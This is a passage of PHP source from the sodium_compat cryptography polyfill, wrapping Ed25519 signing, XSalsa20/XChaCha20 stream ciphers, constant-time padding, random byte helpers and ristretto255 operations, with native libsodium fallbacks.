     * Calculate the Ed25519 signature of a message and return ONLY the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed
     * @param string $secretKey Secret signing key
     * @return string           Digital signature
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_detached(
        $message,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_detached($message, $secretKey);
        }
        if (self::use_fallback(&#039;crypto_sign_detached&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_detached&#039;, $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey);
    }

    /**
     * Verify the Ed25519 signature of a message.
     *
     * @param string $signature Digital sginature
     * @param string $message Message to be verified
     * @param string $publicKey Public key
     * @return bool             TRUE if this signature is good for this public key;
     *                          FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_verify_detached($signature, $message, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signature, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_SIGN_BYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_verify_detached($signature, $message, $publicKey);
        }
        if (self::use_fallback(&#039;crypto_sign_verify_detached&#039;)) {
            return (bool) call_user_func(
                &#039;\\Sodium\\crypto_sign_verify_detached&#039;,
                $signature,
                $message,
                $publicKey
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey);
    }

    /**
     * Convert an Ed25519 public key to a Curve25519 public key
     *
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($pk) &lt; self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.&#039;);
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable(&#039;crypto_sign_ed25519_pk_to_curve25519&#039;)) {
                return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
            }
        }
        if (self::use_fallback(&#039;crypto_sign_ed25519_pk_to_curve25519&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_ed25519_pk_to_curve25519&#039;, $pk);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
        }
        return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
    }

    /**
     * Convert an Ed25519 secret key to a Curve25519 secret key
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_sk_to_curve25519(
        #[\SensitiveParameter]
        $sk
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($sk) &lt; self::CRYPTO_SIGN_SEEDBYTES) {
            throw new SodiumException(&#039;Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.&#039;);
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable(&#039;crypto_sign_ed25519_sk_to_curve25519&#039;)) {
                return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
            }
        }
        if (self::use_fallback(&#039;crypto_sign_ed25519_sk_to_curve25519&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_ed25519_sk_to_curve25519&#039;, $sk);
        }

        $h = hash(&#039;sha512&#039;, ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
        $h[0] = ParagonIE_Sodium_Core_Util::intToChr(
            ParagonIE_Sodium_Core_Util::chrToInt($h[0]) &amp; 248
        );
        $h[31] = ParagonIE_Sodium_Core_Util::intToChr(
            (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) &amp; 127) | 64
        );
        return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
    }

    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XSalsa20 key
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, &#039;int&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_STREAM_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream($len, $nonce, $key);
        }
        if (self::use_fallback(&#039;crypto_stream&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_stream&#039;, $len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XSalsa20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream_xor($message, $nonce, $key);
        }
        if (self::use_fallback(&#039;crypto_stream_xor&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_stream_xor&#039;, $message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_stream
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
    }


    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XChaCha20 key
     * @param bool $dontFallback
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, &#039;int&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_stream_xchacha20($len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param int $counter
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor_ic(
        #[\SensitiveParameter]
        $message,
        $nonce,
        $counter,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($counter, &#039;int&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.&#039;);
        }

        if (is_callable(&#039;sodium_crypto_stream_xchacha20_xor_ic&#039;) &amp;&amp; !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key);
        }

        $ic = ParagonIE_Sodium_Core_Util::store64_le($counter);
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
    }

    /**
     * Return a secure random key for use with crypto_stream_xchacha20
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_xchacha20_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES);
    }

    /**
     * Cache-timing-safe implementation of hex2bin().
     *
     * @param string $string Hexadecimal string
     * @param string $ignore List of characters to ignore; useful for whitespace
     * @return string        Raw binary string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function hex2bin(
        #[\SensitiveParameter]
        $string,
        $ignore = &#039;&#039;
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($ignore, &#039;string&#039;, 2);

        if (self::useNewSodiumAPI()) {
            if (is_callable(&#039;sodium_hex2bin&#039;)) {
                return (string) sodium_hex2bin($string, $ignore);
            }
        }
        if (self::use_fallback(&#039;hex2bin&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\hex2bin&#039;, $string, $ignore);
        }
        return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore);
    }

    /**
     * Increase a string (little endian)
     *
     * @param string $var
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function increment(
        #[\SensitiveParameter]
        &amp;$var
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, &#039;string&#039;, 1);

        if (self::useNewSodiumAPI()) {
            sodium_increment($var);
            return;
        }
        if (self::use_fallback(&#039;increment&#039;)) {
            $func = &#039;\\Sodium\\increment&#039;;
            $func($var);
            return;
        }

        $len = ParagonIE_Sodium_Core_Util::strlen($var);
        if ($len &lt; 1) {
            throw new SodiumException(&#039;Argument 1 cannot be empty&#039;);
        }
        $c = 1;
        $copy = &#039;&#039;;
        for ($i = 0; $i &lt; $len; ++$i) {
            $c += ParagonIE_Sodium_Core_Util::chrToInt(
                ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
            );
            $copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
            $c &gt;&gt;= 8;
        }
        $var = $copy;
    }

    /**
     * @param string $str
     * @return bool
     *
     * @throws SodiumException
     */
    public static function is_zero(
        #[\SensitiveParameter]
        $str
    ) {
        $d = 0;
        for ($i = 0; $i &lt; 32; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]);
        }
        return ((($d - 1) &gt;&gt; 31) &amp; 1) === 1;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_major()
    {
        if (self::useNewSodiumAPI() &amp;&amp; defined(&#039;SODIUM_LIBRARY_MAJOR_VERSION&#039;)) {
            return SODIUM_LIBRARY_MAJOR_VERSION;
        }
        if (self::use_fallback(&#039;library_version_major&#039;)) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func(&#039;\\Sodium\\library_version_major&#039;);
        }
        return self::LIBRARY_VERSION_MAJOR;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_minor()
    {
        if (self::useNewSodiumAPI() &amp;&amp; defined(&#039;SODIUM_LIBRARY_MINOR_VERSION&#039;)) {
            return SODIUM_LIBRARY_MINOR_VERSION;
        }
        if (self::use_fallback(&#039;library_version_minor&#039;)) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func(&#039;\\Sodium\\library_version_minor&#039;);
        }
        return self::LIBRARY_VERSION_MINOR;
    }

    /**
     * Compare two strings.
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function memcmp(
        #[\SensitiveParameter]
        $left,
        #[\SensitiveParameter]
        $right
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, &#039;string&#039;, 2);

        if (self::useNewSodiumAPI()) {
            return sodium_memcmp($left, $right);
        }
        if (self::use_fallback(&#039;memcmp&#039;)) {
            return (int) call_user_func(&#039;\\Sodium\\memcmp&#039;, $left, $right);
        }
        /** @var string $left */
        /** @var string $right */
        return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
    }

    /**
     * It&#039;s actually not possible to zero memory buffers in PHP. You need the
     * native library for that.
     *
     * @param string|null $var
     * @param-out string|null $var
     *
     * @return void
     * @throws SodiumException (Unless libsodium is installed)
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     */
    public static function memzero(
        #[\SensitiveParameter]
        &amp;$var
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, &#039;string&#039;, 1);

        if (self::useNewSodiumAPI()) {
            /** @psalm-suppress MixedArgument */
            sodium_memzero($var);
            return;
        }
        if (self::use_fallback(&#039;memzero&#039;)) {
            $func = &#039;\\Sodium\\memzero&#039;;
            $func($var);
            if ($var === null) {
                return;
            }
        }
        // This is the best we can do.
        throw new SodiumException(
            &#039;This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. &#039; .
            &#039;To fix this error, make sure libsodium is installed and the PHP extension is enabled.&#039;
        );
    }

    /**
     * @param string $unpadded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function pad(
        #[\SensitiveParameter]
        $unpadded,
        $blockSize,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, &#039;int&#039;, 2);

        $unpadded = (string) $unpadded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return (string) sodium_pad($unpadded, $blockSize);
        }

        if ($blockSize &lt;= 0) {
            throw new SodiumException(
                &#039;block size cannot be less than 1&#039;
            );
        }
        $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded);
        $xpadlen = ($blockSize - 1);
        if (($blockSize &amp; ($blockSize - 1)) === 0) {
            $xpadlen -= $unpadded_len &amp; ($blockSize - 1);
        } else {
            $xpadlen -= $unpadded_len % $blockSize;
        }

        $xpadded_len = $unpadded_len + $xpadlen;
        $padded = str_repeat(&quot;\0&quot;, $xpadded_len - 1);
        if ($unpadded_len &gt; 0) {
            $st = 1;
            $i = 0;
            $k = $unpadded_len;
            for ($j = 0; $j &lt;= $xpadded_len; ++$j) {
                $i = (int) $i;
                $k = (int) $k;
                $st = (int) $st;
                if ($j &gt;= $unpadded_len) {
                    $padded[$j] = &quot;\0&quot;;
                } else {
                    $padded[$j] = $unpadded[$j];
                }
                /** @var int $k */
                $k -= $st;
                $st = (int) (~(
                            (
                                (
                                    ($k &gt;&gt; 48)
                                        |
                                    ($k &gt;&gt; 32)
                                        |
                                    ($k &gt;&gt; 16)
                                        |
                                    $k
                                ) - 1
                            ) &gt;&gt; 16
                        )
                    ) &amp; 1;
                $i += $st;
            }
        }

        $mask = 0;
        $tail = $xpadded_len;
        for ($i = 0; $i &lt; $blockSize; ++$i) {
            # barrier_mask = (unsigned char)
            #     (((i ^ xpadlen) - 1U) &gt;&gt; ((sizeof(size_t) - 1U) * CHAR_BIT));
            $barrier_mask = (($i ^ $xpadlen) -1) &gt;&gt; ((PHP_INT_SIZE &lt;&lt; 3) - 1);
            # tail[-i] = (tail[-i] &amp; mask) | (0x80 &amp; barrier_mask);
            $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr(
                (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) &amp; $mask)
                    |
                (0x80 &amp; $barrier_mask)
            );
            # mask |= barrier_mask;
            $mask |= $barrier_mask;
        }
        return $padded;
    }

    /**
     * @param string $padded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function unpad(
        #[\SensitiveParameter]
        $padded,
        $blockSize,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($padded, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, &#039;int&#039;, 2);

        $padded = (string) $padded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return (string) sodium_unpad($padded, $blockSize);
        }
        if ($blockSize &lt;= 0) {
            throw new SodiumException(&#039;block size cannot be less than 1&#039;);
        }
        $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded);
        if ($padded_len &lt; $blockSize) {
            throw new SodiumException(&#039;invalid padding&#039;);
        }

        # tail = &amp;padded[padded_len - 1U];
        $tail = $padded_len - 1;

        $acc = 0;
        $valid = 0;
        $pad_len = 0;

        $found = 0;
        for ($i = 0; $i &lt; $blockSize; ++$i) {
            # c = tail[-i];
            $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]);

            # is_barrier =
            #     (( (acc - 1U) &amp; (pad_len - 1U) &amp; ((c ^ 0x80) - 1U) ) &gt;&gt; 8) &amp; 1U;
            $is_barrier = (
                (
                    ($acc - 1) &amp; ($pad_len - 1) &amp; (($c ^ 80) - 1)
                ) &gt;&gt; 7
            ) &amp; 1;
            $is_barrier &amp;= ~$found;
            $found |= $is_barrier;

            # acc |= c;
            $acc |= $c;

            # pad_len |= i &amp; (1U + ~is_barrier);
            $pad_len |= $i &amp; (1 + ~$is_barrier);

            # valid |= (unsigned char) is_barrier;
            $valid |= ($is_barrier &amp; 0xff);
        }
        # unpadded_len = padded_len - 1U - pad_len;
        $unpadded_len = $padded_len - 1 - $pad_len;
        if ($valid !== 1) {
            throw new SodiumException(&#039;invalid padding&#039;);
        }
        return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len);
    }

    /**
     * Will sodium_compat run fast on the current hardware and PHP configuration?
     *
     * @return bool
     */
    public static function polyfill_is_fast()
    {
        if (extension_loaded(&#039;sodium&#039;)) {
            return true;
        }
        if (extension_loaded(&#039;libsodium&#039;)) {
            return true;
        }
        return PHP_INT_SIZE === 8;
    }

    /**
     * Generate a string of bytes from the kernel&#039;s CSPRNG.
     * Proudly uses /dev/urandom (if getrandom(2) is not available).
     *
     * @param int $numBytes
     * @return string
     * @throws Exception
     * @throws TypeError
     */
    public static function randombytes_buf($numBytes)
    {
        /* Type checks: */
        if (!is_int($numBytes)) {
            if (is_numeric($numBytes)) {
                $numBytes = (int) $numBytes;
            } else {
                throw new TypeError(
                    &#039;Argument 1 must be an integer, &#039; . gettype($numBytes) . &#039; given.&#039;
                );
            }
        }
        /** @var positive-int $numBytes */
        if (self::use_fallback(&#039;randombytes_buf&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\randombytes_buf&#039;, $numBytes);
        }
        if ($numBytes &lt; 0) {
            throw new SodiumException(&quot;Number of bytes must be a positive integer&quot;);
        }
        return random_bytes($numBytes);
    }

    /**
     * Generate an integer between 0 and $range (non-inclusive).
     *
     * @param int $range
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_uniform($range)
    {
        /* Type checks: */
        if (!is_int($range)) {
            if (is_numeric($range)) {
                $range = (int) $range;
            } else {
                throw new TypeError(
                    &#039;Argument 1 must be an integer, &#039; . gettype($range) . &#039; given.&#039;
                );
            }
        }
        if (self::use_fallback(&#039;randombytes_uniform&#039;)) {
            return (int) call_user_func(&#039;\\Sodium\\randombytes_uniform&#039;, $range);
        }
        return random_int(0, $range - 1);
    }

    /**
     * Generate a random 16-bit integer.
     *
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_random16()
    {
        if (self::use_fallback(&#039;randombytes_random16&#039;)) {
            return (int) call_user_func(&#039;\\Sodium\\randombytes_random16&#039;);
        }
        return random_int(0, 65535);
    }

    /**
     * @param string $p
     * @param bool $dontFallback
     * @return bool
     * @throws SodiumException
     */
    public static function ristretto255_is_valid_point(
        #[\SensitiveParameter]
        $p,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_is_valid_point($p);
        }
        try {
            $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p);
            return $r[&#039;res&#039;] === 0 &amp;&amp;
                ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1;
        } catch (SodiumException $ex) {
            if ($ex-&gt;getMessage() === &#039;S is not canonical&#039;) {
                return false;
            }
            throw $ex;
        }
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_add($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q);
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_sub($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q);
    }

    /**
     * @param string $r
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_from_hash(
        #[\SensitiveParameter]
        $r,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_from_hash($r);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r);
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random();
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random();
    }

    /**
     * @param string $s
